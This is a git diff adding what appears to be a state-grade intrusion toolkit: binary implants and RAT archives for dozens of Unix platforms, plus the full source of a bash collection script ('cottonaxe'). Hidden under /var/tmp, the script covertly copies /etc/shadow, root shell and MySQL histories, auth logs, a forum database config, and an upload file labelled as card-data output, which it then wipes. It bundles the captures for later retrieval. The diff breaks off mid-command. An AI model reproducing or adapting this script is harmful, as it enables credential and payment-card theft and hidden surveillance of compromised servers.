b/Linux/up/OLD.pcleans/pclean.sparc-sun-sunos4.1.4 new file mode 120000 index 0000000..c6df9c0 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean.sparc-sun-sunos4.1.4 @@ -0,0 +1 @@ +./pclean.sparc-sun-sunos4.1.3 \ No newline at end of file diff --git a/Linux/up/OLD.toasts/toast b/Linux/up/OLD.toasts/toast new file mode 100644 index 0000000..3b4e4bf Binary files /dev/null and b/Linux/up/OLD.toasts/toast differ diff --git a/Linux/up/OLD.toasts/toast-toast.notstripped.powerpc-ibm-aix5.1 b/Linux/up/OLD.toasts/toast-toast.notstripped.powerpc-ibm-aix5.1 new file mode 100644 index 0000000..6e20735 Binary files /dev/null and b/Linux/up/OLD.toasts/toast-toast.notstripped.powerpc-ibm-aix5.1 differ diff --git a/Linux/up/OLD.toasts/toast.3.0.0.1.x86-64-linux-gnu b/Linux/up/OLD.toasts/toast.3.0.0.1.x86-64-linux-gnu new file mode 100644 index 0000000..84bb9ce Binary files /dev/null and b/Linux/up/OLD.toasts/toast.3.0.0.1.x86-64-linux-gnu differ diff --git a/Linux/up/OLD.toasts/toast.alphaev6-dec-osf4.0f b/Linux/up/OLD.toasts/toast.alphaev6-dec-osf4.0f new file mode 100644 index 0000000..6ff2ccb Binary files /dev/null and b/Linux/up/OLD.toasts/toast.alphaev6-dec-osf4.0f differ diff --git a/Linux/up/OLD.toasts/toast.alphaev6-dec-osf5.1 b/Linux/up/OLD.toasts/toast.alphaev6-dec-osf5.1 new file mode 100644 index 0000000..406947a Binary files /dev/null and b/Linux/up/OLD.toasts/toast.alphaev6-dec-osf5.1 differ diff --git a/Linux/up/OLD.toasts/toast.hp-ia64itanium-hpux11.23 b/Linux/up/OLD.toasts/toast.hp-ia64itanium-hpux11.23 new file mode 100644 index 0000000..43a23ea Binary files /dev/null and b/Linux/up/OLD.toasts/toast.hp-ia64itanium-hpux11.23 differ diff --git a/Linux/up/OLD.toasts/toast.hppa1.1-hp-hpux10.20 b/Linux/up/OLD.toasts/toast.hppa1.1-hp-hpux10.20 new file mode 100644 index 0000000..5c72864 Binary files /dev/null and b/Linux/up/OLD.toasts/toast.hppa1.1-hp-hpux10.20 differ diff --git a/Linux/up/OLD.toasts/toast.hppa1.1-hp-hpux11.00 b/Linux/up/OLD.toasts/toast.hppa1.1-hp-hpux11.00 new file mode 100644 index 0000000..e77a6f4 Binary files /dev/null and b/Linux/up/OLD.toasts/toast.hppa1.1-hp-hpux11.00 differ diff --git a/Linux/up/OLD.toasts/toast.hppa2.0w-hp-hpux11.00 b/Linux/up/OLD.toasts/toast.hppa2.0w-hp-hpux11.00 new file mode 100644 index 0000000..5c72864 Binary files /dev/null and b/Linux/up/OLD.toasts/toast.hppa2.0w-hp-hpux11.00 differ diff --git a/Linux/up/OLD.toasts/toast.i386-pc-bsdi4.0.1 b/Linux/up/OLD.toasts/toast.i386-pc-bsdi4.0.1 new file mode 100644 index 0000000..55175f8 Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i386-pc-bsdi4.0.1 differ diff --git a/Linux/up/OLD.toasts/toast.i386-pc-sco3.2v5.0.5 b/Linux/up/OLD.toasts/toast.i386-pc-sco3.2v5.0.5 new file mode 100644 index 0000000..c12bb5b Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i386-pc-sco3.2v5.0.5 differ diff --git a/Linux/up/OLD.toasts/toast.i386-pc-solaris2.6 b/Linux/up/OLD.toasts/toast.i386-pc-solaris2.6 new file mode 100644 index 0000000..f249080 Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i386-pc-solaris2.6 differ diff --git a/Linux/up/OLD.toasts/toast.i386-pc-solaris2.7 b/Linux/up/OLD.toasts/toast.i386-pc-solaris2.7 new file mode 100644 index 0000000..9e922d8 Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i386-pc-solaris2.7 differ diff --git a/Linux/up/OLD.toasts/toast.i386-pc-solaris2.8 b/Linux/up/OLD.toasts/toast.i386-pc-solaris2.8 new file mode 100644 index 0000000..16965bd Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i386-pc-solaris2.8 differ diff --git a/Linux/up/OLD.toasts/toast.i386-pc-solaris2.9 b/Linux/up/OLD.toasts/toast.i386-pc-solaris2.9 new file mode 100644 index 0000000..16965bd Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i386-pc-solaris2.9 differ diff --git a/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.0 b/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.0 new file mode 100644 index 0000000..c8fa84b Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.0 differ diff --git a/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.1 b/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.1 new file mode 100644 index 0000000..c8fa84b Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.1 differ diff --git a/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.2 b/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.2 new file mode 100644 index 0000000..c8fa84b Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.2 differ diff --git a/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.3 b/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.3 new file mode 100644 index 0000000..c8fa84b Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.3 differ diff --git a/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.4 b/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.4 new file mode 100644 index 0000000..c8fa84b Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.4 differ diff --git a/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.5 b/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.5 new file mode 100644 index 0000000..c8fa84b Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.5 differ diff --git a/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.6 b/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.6 new file mode 100644 index 0000000..c8fa84b Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.6 differ diff --git a/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.7 b/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.7 new file mode 100644 index 0000000..c8fa84b Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.7 differ diff --git a/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.8 b/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.8 new file mode 100644 index 0000000..c8fa84b Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.8 differ diff --git a/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.9 b/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.9 new file mode 100644 index 0000000..c8fa84b Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i386-unknown-freebsd4.9 differ diff --git a/Linux/up/OLD.toasts/toast.i386-unknown-freebsd5.3 b/Linux/up/OLD.toasts/toast.i386-unknown-freebsd5.3 new file mode 100644 index 0000000..4755a84 Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i386-unknown-freebsd5.3 differ diff --git a/Linux/up/OLD.toasts/toast.i386-unknown-freebsd7.0-static b/Linux/up/OLD.toasts/toast.i386-unknown-freebsd7.0-static new file mode 100644 index 0000000..f9aaa5c Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i386-unknown-freebsd7.0-static differ diff --git a/Linux/up/OLD.toasts/toast.i386-unknown-freebsdelf4.1 b/Linux/up/OLD.toasts/toast.i386-unknown-freebsdelf4.1 new file mode 100644 index 0000000..c8fa84b Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i386-unknown-freebsdelf4.1 differ diff --git a/Linux/up/OLD.toasts/toast.i386-unknown-openbsd2.5 b/Linux/up/OLD.toasts/toast.i386-unknown-openbsd2.5 new file mode 100644 index 0000000..00706af Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i386-unknown-openbsd2.5 differ diff --git a/Linux/up/OLD.toasts/toast.i386-unknown-openbsd3.0 b/Linux/up/OLD.toasts/toast.i386-unknown-openbsd3.0 new file mode 100644 index 0000000..d8b5062 Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i386-unknown-openbsd3.0 differ diff --git a/Linux/up/OLD.toasts/toast.i486-pc-linux-gnu b/Linux/up/OLD.toasts/toast.i486-pc-linux-gnu new file mode 100644 index 0000000..9c0ff3a Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i486-pc-linux-gnu differ diff --git a/Linux/up/OLD.toasts/toast.i486-pc-linux-gnulibc1 b/Linux/up/OLD.toasts/toast.i486-pc-linux-gnulibc1 new file mode 100644 index 0000000..e8324b7 Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i486-pc-linux-gnulibc1 differ diff --git a/Linux/up/OLD.toasts/toast.i586-pc-linux-gnu b/Linux/up/OLD.toasts/toast.i586-pc-linux-gnu new file mode 100644 index 0000000..3b4e4bf Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i586-pc-linux-gnu differ diff --git a/Linux/up/OLD.toasts/toast.i686-pc-linux-gnu b/Linux/up/OLD.toasts/toast.i686-pc-linux-gnu new file mode 100644 index 0000000..bd16ac5 Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i686-pc-linux-gnu differ diff --git a/Linux/up/OLD.toasts/toast.i686-pc-linux-gnu-redhat-6.0 b/Linux/up/OLD.toasts/toast.i686-pc-linux-gnu-redhat-6.0 new file mode 100644 index 0000000..bd16ac5 Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i686-pc-linux-gnu-redhat-6.0 differ diff --git a/Linux/up/OLD.toasts/toast.i686-pc-linux-gnu-redhat-7.0 b/Linux/up/OLD.toasts/toast.i686-pc-linux-gnu-redhat-7.0 new file mode 100644 index 0000000..bd16ac5 Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i686-pc-linux-gnu-redhat-7.0 differ diff --git a/Linux/up/OLD.toasts/toast.i686-pc-linux-gnulibc1-slackware-4.0.0 b/Linux/up/OLD.toasts/toast.i686-pc-linux-gnulibc1-slackware-4.0.0 new file mode 100644 index 0000000..74a19f1 Binary files /dev/null and b/Linux/up/OLD.toasts/toast.i686-pc-linux-gnulibc1-slackware-4.0.0 differ diff --git a/Linux/up/OLD.toasts/toast.mips-sgi-irix5.3 b/Linux/up/OLD.toasts/toast.mips-sgi-irix5.3 new file mode 100644 index 0000000..ad4749d Binary files /dev/null and b/Linux/up/OLD.toasts/toast.mips-sgi-irix5.3 differ diff --git a/Linux/up/OLD.toasts/toast.mips-sgi-irix6.2 b/Linux/up/OLD.toasts/toast.mips-sgi-irix6.2 new file mode 100644 index 0000000..ad4749d Binary files /dev/null and b/Linux/up/OLD.toasts/toast.mips-sgi-irix6.2 differ diff --git a/Linux/up/OLD.toasts/toast.mips-sgi-irix6.3 b/Linux/up/OLD.toasts/toast.mips-sgi-irix6.3 new file mode 100644 index 0000000..ad4749d Binary files /dev/null and b/Linux/up/OLD.toasts/toast.mips-sgi-irix6.3 differ diff --git a/Linux/up/OLD.toasts/toast.mips-sgi-irix6.4 b/Linux/up/OLD.toasts/toast.mips-sgi-irix6.4 new file mode 100644 index 0000000..ad4749d Binary files /dev/null and b/Linux/up/OLD.toasts/toast.mips-sgi-irix6.4 differ diff --git a/Linux/up/OLD.toasts/toast.mips-sgi-irix6.5 b/Linux/up/OLD.toasts/toast.mips-sgi-irix6.5 new file mode 100644 index 0000000..ad4749d Binary files /dev/null and b/Linux/up/OLD.toasts/toast.mips-sgi-irix6.5 differ diff --git a/Linux/up/OLD.toasts/toast.powerpc-apple-darwin1.3 b/Linux/up/OLD.toasts/toast.powerpc-apple-darwin1.3 new file mode 100644 index 0000000..4c19b6c Binary files /dev/null and b/Linux/up/OLD.toasts/toast.powerpc-apple-darwin1.3 differ diff --git a/Linux/up/OLD.toasts/toast.powerpc-ibm-aix4.3.2.0 b/Linux/up/OLD.toasts/toast.powerpc-ibm-aix4.3.2.0 new file mode 100644 index 0000000..2308a02 Binary files /dev/null and b/Linux/up/OLD.toasts/toast.powerpc-ibm-aix4.3.2.0 differ diff --git a/Linux/up/OLD.toasts/toast.powerpc-ibm-aix5.1 b/Linux/up/OLD.toasts/toast.powerpc-ibm-aix5.1 new file mode 100644 index 0000000..614c5c2 Binary files /dev/null and b/Linux/up/OLD.toasts/toast.powerpc-ibm-aix5.1 differ diff --git a/Linux/up/OLD.toasts/toast.sparc-sun-solaris2.3 b/Linux/up/OLD.toasts/toast.sparc-sun-solaris2.3 new file mode 100644 index 0000000..9b0011b Binary files /dev/null and b/Linux/up/OLD.toasts/toast.sparc-sun-solaris2.3 differ diff --git a/Linux/up/OLD.toasts/toast.sparc-sun-solaris2.4 b/Linux/up/OLD.toasts/toast.sparc-sun-solaris2.4 new file mode 100644 index 0000000..8e04129 Binary files /dev/null and b/Linux/up/OLD.toasts/toast.sparc-sun-solaris2.4 differ diff --git a/Linux/up/OLD.toasts/toast.sparc-sun-solaris2.5 b/Linux/up/OLD.toasts/toast.sparc-sun-solaris2.5 new file mode 100644 index 0000000..e58a591 Binary files /dev/null and b/Linux/up/OLD.toasts/toast.sparc-sun-solaris2.5 differ diff --git a/Linux/up/OLD.toasts/toast.sparc-sun-solaris2.5.1 b/Linux/up/OLD.toasts/toast.sparc-sun-solaris2.5.1 new file mode 100644 index 0000000..a8274d9 Binary files /dev/null and b/Linux/up/OLD.toasts/toast.sparc-sun-solaris2.5.1 differ diff --git a/Linux/up/OLD.toasts/toast.sparc-sun-solaris2.6 b/Linux/up/OLD.toasts/toast.sparc-sun-solaris2.6 new file mode 100644 index 0000000..9bbf33e Binary files /dev/null and b/Linux/up/OLD.toasts/toast.sparc-sun-solaris2.6 differ diff --git a/Linux/up/OLD.toasts/toast.sparc-sun-solaris2.7 b/Linux/up/OLD.toasts/toast.sparc-sun-solaris2.7 new file mode 100644 index 0000000..891a34c Binary files /dev/null and b/Linux/up/OLD.toasts/toast.sparc-sun-solaris2.7 differ diff --git a/Linux/up/OLD.toasts/toast.sparc-sun-solaris2.8 b/Linux/up/OLD.toasts/toast.sparc-sun-solaris2.8 new file mode 100644 index 0000000..a656a30 Binary files /dev/null and b/Linux/up/OLD.toasts/toast.sparc-sun-solaris2.8 differ diff --git a/Linux/up/OLD.toasts/toast.sparc-sun-solaris2.9 b/Linux/up/OLD.toasts/toast.sparc-sun-solaris2.9 new file mode 100644 index 0000000..a656a30 Binary files /dev/null and b/Linux/up/OLD.toasts/toast.sparc-sun-solaris2.9 differ diff --git a/Linux/up/OLD.toasts/toast.sparc-sun-sunos4.1.1 b/Linux/up/OLD.toasts/toast.sparc-sun-sunos4.1.1 new file mode 100644 index 0000000..a7be1b8 Binary files /dev/null and b/Linux/up/OLD.toasts/toast.sparc-sun-sunos4.1.1 differ diff --git a/Linux/up/OLD.toasts/toast.sparc-sun-sunos4.1.2 b/Linux/up/OLD.toasts/toast.sparc-sun-sunos4.1.2 new file mode 100644 index 0000000..c80e43d Binary files /dev/null and b/Linux/up/OLD.toasts/toast.sparc-sun-sunos4.1.2 differ diff --git a/Linux/up/OLD.toasts/toast.sparc-sun-sunos4.1.3 b/Linux/up/OLD.toasts/toast.sparc-sun-sunos4.1.3 new file mode 100644 index 0000000..ce01396 Binary files /dev/null and b/Linux/up/OLD.toasts/toast.sparc-sun-sunos4.1.3 differ diff --git a/Linux/up/OLD.toasts/toast.sparc-sun-sunos4.1.3_U1 b/Linux/up/OLD.toasts/toast.sparc-sun-sunos4.1.3_U1 new file mode 100644 index 0000000..1c3583c Binary files /dev/null and b/Linux/up/OLD.toasts/toast.sparc-sun-sunos4.1.3_U1 differ diff --git a/Linux/up/OLD.toasts/toast.sparc-sun-sunos4.1.4 b/Linux/up/OLD.toasts/toast.sparc-sun-sunos4.1.4 new file mode 100644 index 0000000..aef2934 Binary files /dev/null and b/Linux/up/OLD.toasts/toast.sparc-sun-sunos4.1.4 differ diff --git a/Linux/up/OLD.toasts/toast.sparc-unknown-linux-gnu b/Linux/up/OLD.toasts/toast.sparc-unknown-linux-gnu new file mode 100644 index 0000000..e801190 Binary files /dev/null and b/Linux/up/OLD.toasts/toast.sparc-unknown-linux-gnu differ diff --git a/Linux/up/OLD_NOPEN_RATS.3.1.0.1.tar.bz2 b/Linux/up/OLD_NOPEN_RATS.3.1.0.1.tar.bz2 new file mode 100644 index 0000000..0a31238 Binary files /dev/null and b/Linux/up/OLD_NOPEN_RATS.3.1.0.1.tar.bz2 differ diff --git a/Linux/up/OLD_NOPEN_RATS.3.1.0.5.tar.bz2 b/Linux/up/OLD_NOPEN_RATS.3.1.0.5.tar.bz2 new file mode 100644 index 0000000..1dbc13e Binary files /dev/null and b/Linux/up/OLD_NOPEN_RATS.3.1.0.5.tar.bz2 differ diff --git a/Linux/up/OLD_NOPEN_RATS.older.tar.bz2 b/Linux/up/OLD_NOPEN_RATS.older.tar.bz2 new file mode 100644 index 0000000..e7f1e12 Binary files /dev/null and b/Linux/up/OLD_NOPEN_RATS.older.tar.bz2 differ diff --git a/Linux/up/Seconddate_Implant b/Linux/up/Seconddate_Implant new file mode 100755 index 0000000..bca5fe1 Binary files /dev/null and b/Linux/up/Seconddate_Implant differ diff --git a/Linux/up/Stoicsurgeon-Ctrl.i586-linux b/Linux/up/Stoicsurgeon-Ctrl.i586-linux new file mode 100755 index 0000000..2633a51 Binary files /dev/null and b/Linux/up/Stoicsurgeon-Ctrl.i586-linux differ diff --git a/Linux/up/Stoicsurgeon-Ctrl.sparc b/Linux/up/Stoicsurgeon-Ctrl.sparc new file mode 100755 index 0000000..89beb4a Binary files /dev/null and b/Linux/up/Stoicsurgeon-Ctrl.sparc differ diff --git a/Linux/up/charm.tar.bz2 b/Linux/up/charm.tar.bz2 new file mode 100644 index 0000000..903c4f5 Binary files /dev/null and b/Linux/up/charm.tar.bz2 differ diff --git a/Linux/up/cottonaxe.CONFIGURE_FIRST.sh b/Linux/up/cottonaxe.CONFIGURE_FIRST.sh new file mode 100644 index 0000000..8b1ebe4 --- /dev/null +++ b/Linux/up/cottonaxe.CONFIGURE_FIRST.sh @@ -0,0 +1,409 @@ +#!/bin/bash +# Mon Dec 4 10:08:19 EST 2012 +# To do another file, make a new block of EIGHT array vars for a new index (0, 1, 2, etc.) +# AND redefine DOTHESE= to include the new index. + + +# NOTE: MAXPER is in bytes and must be bigger than the number of characters in this line 1 of our copy: +#Mon Apr 16 10:16:56 UTC 2012: New Tail of /var/log/messages Begun + + +# Fix path to avoid PATH=. issue +PATH=.:/bin:/sbin:/usr/bin:/usr/sbin + + +# START: TARGET SPECIFIC DEFS + +LINES=0 + +HD=/var/tmp/.tmpMep0gI +DOTHESE="0 4 5 7 8 10 11 13" + + +# OPTIONALS, set DOATINTERVAL to non-empty positive integer to turn on, +# and populate the DOAT[N] commands desired, for N in 1,2,3,4,5,6,7 (NOT N==0) +# Use exactly one of these (12*60*60 is 43200 seconds): +# +#DOATINTERVAL=0 # DISABLED +#DOATINTERVAL=7200 # Every 2 hours +DOATINTERVAL=10800 # Every 3 hours +#DOATINTERVAL=21600 # Every 6 hours +#DOATINTERVAL=43200 # Every 12 hours + +# E.g.: DOAT[1]='w' +DOAT[1]="netstat -antpu" + + +# One block per monitored file +INPUT[0]=/usr/local/lsws/DEFAULT/logs/access.log +OUTPUT[0]=${HD}/u/laa +OUTPUT2[0]=${HD}/u/u/laa +GREP[0]="GET [^ ]*(showthread|showpm)" +GREPOUT[0]="^127\.0\.0\.1" +MAXPER[0]=41943040 +MAXTIME[0]=7200 +NULLIT[0]="" +COMP[0]=bzip2 + +INPUT[4]=/var/log/auth.log +OUTPUT[4]=${HD}/u/lsc +OUTPUT2[4]=${HD}/u/u/lsc +GREP[4]="" +GREPOUT[4]="" +MAXPER[4]=41943040 +MAXTIME[4]=7200 +NULLIT[4]="" +COMP[4]= + +INPUT[5]=/var/log/messages +OUTPUT[5]=${HD}/u/lm +OUTPUT2[5]=${HD}/u/u/lm +GREP[5]="" +GREPOUT[5]="" +MAXPER[5]=41943040 +MAXTIME[5]=7200 +NULLIT[5]="" +COMP[5]=bzip2 + +INPUT[6]=/usr/local/cpanel/logs/access_log +OUTPUT[6]=${HD}/u/lcp +OUTPUT2[6]=${HD}/u/u/lcp +GREP[6]="" +GREPOUT[6]="" +MAXPER[6]=41943040 +MAXTIME[6]=7200 +NULLIT[6]="" +COMP[6]=bzip2 + +INPUT[7]=/root/.bash_history +OUTPUT[7]=${HD}/u/lrh +OUTPUT2[7]=${HD}/u/u/lrh +GREP[7]="" +GREPOUT[7]="" +MAXPER[7]=25 +MAXTIME[7]=7200 +NULLIT[7]="" +COMP[7]= + +INPUT[8]=/root/.mysql_history +OUTPUT[8]=${HD}/u/lrd +OUTPUT2[8]=${HD}/u/u/lrd +GREP[8]="" +GREPOUT[8]="" +MAXPER[8]=25 +MAXTIME[8]=7200 +NULLIT[8]="" +COMP[8]= + +########### ONCHANGE SECTION BEGIN--be sure ONCHANGE IS SET + +# ONCHANGE[n] is set: This pulls complete file every time it changes +INPUT[10]=/etc/shadow +OUTPUT[10]=${HD}/u/lsp +OUTPUT2[10]=${HD}/u/u/lsp +GREP[10]="" +GREPOUT[10]="" +MAXPER[10]=0 # Ignored +MAXTIME[10]=7200 +NULLIT[10]="" +COMP[10]= +ONCHANGE[10]="1" # Leave empty or unset to not use this feature + +# ONCHANGE[n] is set: This pulls complete file every time +INPUT[11]=/usr/local/lsws/DEFAULT/html/vb/includes/config.php +OUTPUT[11]=${HD}/u/lsg +OUTPUT2[11]=${HD}/u/u/lsg +GREP[11]="" +GREPOUT[11]="" +MAXPER[11]=0 # Ignored +MAXTIME[11]=7200 +NULLIT[11]="" +COMP[11]= +ONCHANGE[11]="1" # Leave empty or unset to not use this feature + +########### ONCHANGE SECTION END + +########### NULLIT SECTION BEGIN for CC otuput files + +# This pulls and then WIPES all lines in INPUT[] file +INPUT[13]=/tmp/.vbtmp/vbupload3KwYbO +OUTPUT[13]=${HD}/u/lcc +OUTPUT2[13]=${HD}/u/u/lcc +GREP[13]="" +GREPOUT[13]="" +MAXPER[13]=41943040 +MAXTIME[13]=7200 +NULLIT[13]="1" +COMP[13]="" + +########### NULLIT SECTION END + +# MAKE NO CHANGES BELOW + +WDIR=`dirname ${OUTPUT[0]}` +WDIR2=`dirname ${OUTPUT2[0]}` + +V=-v + +dbg() { + echo -e `date -u`"[$$]": "$*" | tee -a $WDIR.dbg/.dbg 2>/dev/null +} + +die() { + KILL=kill + [ "$1" = "nokill" ] && shift && KILL="" + dbg "DYING/FATAL, w output follows: $*" + w | tee -a $WDIR.dbg/.dbg + + [ "$KILL" ] || exit 1 + + # Kill em all + for NUM in $DOTHESE ; do + [ "${ONCHANGE[NUM]}" ] && continue + dbg "Killing tail on INPUT[$NUM]=${INPUT[$NUM]}" + ziptailnullfile $NUM kill + done + + # These will be useful if we had to die... .dbg.YYYYMMDDHHMMSS in u/u.dbg... + [ -d $WDIR.dbg -a -f $WDIR.dbg/.dbg -a -d $WDIR2.dbg ] && cat $WDIR.dbg/.dbg >> $WDIR2.dbg/.dbg.`date +%F-%H%M%S` && cat /dev/null > $WDIR.dbg/.dbg + # Consolidate them... + cat $WDIR2.dbg/.dbg* > $WDIR.dbg/dbg && rm -f $WDIR2.dbg/.dbg* && mv $WDIR.dbg/dbg $WDIR2.dbg/dbg.`date +%F-%H%M%S`.DIED + + exit 1 +} + + +ziptailnullfile() { + NUM=$1 + KILLONLY=$2 + dbg In ziptailnullfile NUM=$NUM KILLONLY=$KILLONLY + # Now polymorphic: + # If $KILLONLY is set, do only that (only if a single PID) and NULLIT if need be. + # See if there is a running tail on $NUM, + # If there is not, start one, + # If there is and our dupe is too big, kill the tail, rename dupe, start new tail + # Finally, NULLIT if desired + # handle (zip/ship) our renamed dupe if there (.d file) + + REDO="" + touch ${OUTPUT[$NUM]} + SIZE=`stat -c %s ${OUTPUT[$NUM]}` + + + if [ "${ONCHANGE[NUM]}" ] ; then + REDO="" + NEWSUM="`cksum ${INPUT[$NUM]}`" + if [ "$KILLONLY" -o "$NEWSUM" != "${ONCHANGE[NUM]}" ] ; then + ONCHANGE[$NUM]="$NEWSUM" + dbg Pulling new ${INPUT[$NUM]} with cksum=${ONCHANGE[NUM]} + cp $V -p ${INPUT[$NUM]} ${OUTPUT[$NUM]}.d + fi + else + PIDS=`ps -ef | grep " $$ " | grep -v grep | grep "tail --lines=$LINES --max-unchanged-stats=5 --follow=name ${INPUT[$NUM]}$" | awk '{print $2}' | tr '\n' ' ' | sed "s, $,,g"` + [ "$PIDS" ] && ps -ef | grep " $$ " | egrep " ($(echo $PIDS | tr ' ' '|')) " | tee -a $WDIR.dbg/.dbg && dbg above lines from psg $PIDS + [ "$KILLONLY" ] && REDO=yes && dbg Setting REDO for KILLONLY=$KILLONLY + if [ ${MAXTIME[$NUM]} -gt 0 -a $((LOOP%180)) == 0 ] ; then + w | tee -a $WDIR.dbg/.dbg + # Only check AGE every 180 loops, 180*15s=30m + AGE=$((`date +%s`-${LASTTIME[$NUM]})) + [ $AGE -ge ${MAXTIME[$NUM]} ] && REDO=yes && dbg Setting REDO for AGE=$AGE -ge ${MAXTIME[$NUM]} when LASTTIME=${LASTTIME[$NUM]}= + fi + + # Either we have a tail ($PIDS) or we start one with REDO here + [ "$PIDS" ] || REDO=yes + [ "$PIDS" ] || dbg Setting REDO for nothing in PIDS=$PIDS= to start a new tail + [ $SIZE -ge ${MAXPER[$NUM]} ] && REDO=yes && dbg Setting REDO for SIZE=$SIZE -ge ${MAXPER[$NUM]} + fi + +# if [ "$PIDS" and "${PIDOF[$NUM]}" ] ; then +# # Check they agree here maybe???? +# if +# fi + + + dbg in ztnf at REDO check $NUM with ONCHANGE=${ONCHANGE[$NUM]} SIZE=$SIZE= PIDOF=${PIDOF[$NUM]} PIDS=$PIDS= KILLONLY=$KILLONLY= REDO=$REDO= and MAXPER=${MAXPER[$NUM]}= + if [ "$REDO" ] ; then + if [ ! "$PIDS" ] ; then + # Save this data if here, since !$PIDS no tail to have pulled it yet and we NULLIT below and would lose it. + [ "${NULLIT[$NUM]}" ] && cat ${INPUT[$NUM]} >> ${OUTPUT[$NUM]} && dbg Saving content of ${INPUT[$NUM]} before NULLING it + fi + mv $V ${OUTPUT[$NUM]} ${OUTPUT[$NUM]}.d + if [ ! "$KILLONLY" ] ; then + # starttail now takes care of killing old tail if it is there + starttail $NUM + fi + fi + + # If .d file is there, we zip/ship + if [ -s "${OUTPUT[$NUM]}.d" ] ; then + EXT=`date +%F-%H%M%S` + if [ "${COMP[$NUM]}" == "bzip2" ] ; then + DEST="${OUTPUT2[$NUM]}.$EXT.bz2" + elif [ "${COMP[$NUM]}" == "compress" ] ; then + DEST="${OUTPUT2[$NUM]}.$EXT.Z" + elif [ "${COMP[$NUM]}" == "gzip" ] ; then + DEST="${OUTPUT2[$NUM]}.$EXT.Z" + elif [ "${COMP[$NUM]}" ] ; then + DEST="${OUTPUT2[$NUM]}.$EXT.${COMP[$NUM]}" + else + DEST="${OUTPUT2[$NUM]}.$EXT" + fi + if [ "${COMP[$NUM]}" ] ; then + dbg Compressing ${OUTPUT[$NUM]}.d with ${COMP[$NUM]} to ${OUTPUT[$NUM]}.dd + ${COMP[$NUM]} -c ${OUTPUT[$NUM]}.d > ${OUTPUT[$NUM]}.dd + mv $V ${OUTPUT[$NUM]}.dd $DEST + rm $V ${OUTPUT[$NUM]}.d* + else + mv $V ${OUTPUT[$NUM]}.d $DEST + fi + unset DEST + else + rm $V -f ${OUTPUT[$NUM]}.d + dbg removing 0 byte file ${OUTPUT[$NUM]}.d + fi + if [ "${NULLIT[$NUM]}" = "1" ] ; then + > ${INPUT[$NUM]} + fi + dbg Done with ziptailnullfile on INPUT[$NUM]=${INPUT[NUM]} for now, will roll over at ${MAXPER[NUM]} bytes... + +} + +starttail() { + NUM=$1 + # For a particular $NUM, starttail() starts a fresh tail of file $NUM. + if [ "${PIDOF[$NUM]}" ] ; then + dbg Killing old tail PIDOF[$NUM]=${PIDOF[$NUM]} + kill ${PIDOF[$NUM]} + PIDS=`ps -ef | grep " $$ " | grep -v grep | grep "tail --lines=$LINES --max-unchanged-stats=5 --follow=name ${INPUT[$NUM]}$" | awk '{print $2}' | tr '\n' ' ' | sed "s, $,,g"` + [ "$PIDS" ] && sleep 3 && PIDS=`ps -ef | grep " $$ " | grep -v grep | grep "tail --lines=$LINES --max-unchanged-stats=5 --follow=name ${INPUT[$NUM]}$" | awk '{print $2}' | tr '\n' ' ' | sed "s, $,,g"` + if [ "$PIDS" ] ; then + dbg "PROBLEM: We just issued kill ${PIDOF[$NUM]} and yet we still see a matching tail, trying again with that PID." + kill -9 ${PIDOF[$NUM]} + sleep 1 + PIDS=`ps -ef | grep " $$ " | grep -v grep | grep "tail --lines=$LINES --max-unchanged-stats=5 --follow=name ${INPUT[$NUM]}$" | awk '{print $2}' | tr '\n' ' ' | sed "s, $,,g"` + ps -ef | grep " $$ " | egrep " ($(echo $PIDS | tr ' ' '|')) " | tee -a $WDIR.dbg/.dbg && dbg above lines from psg $PIDS + if [ "$PIDS" ] ; then + sleep 3 + PIDS=`ps -ef | grep " $$ " | grep -v grep | grep "tail --lines=$LINES --max-unchanged-stats=5 --follow=name ${INPUT[$NUM]}$" | awk '{print $2}' | tr '\n' ' ' | sed "s, $,,g"` + if [ "$PIDS" ] ; then + dbg "OK then, we kill this(ese) too:" + kill 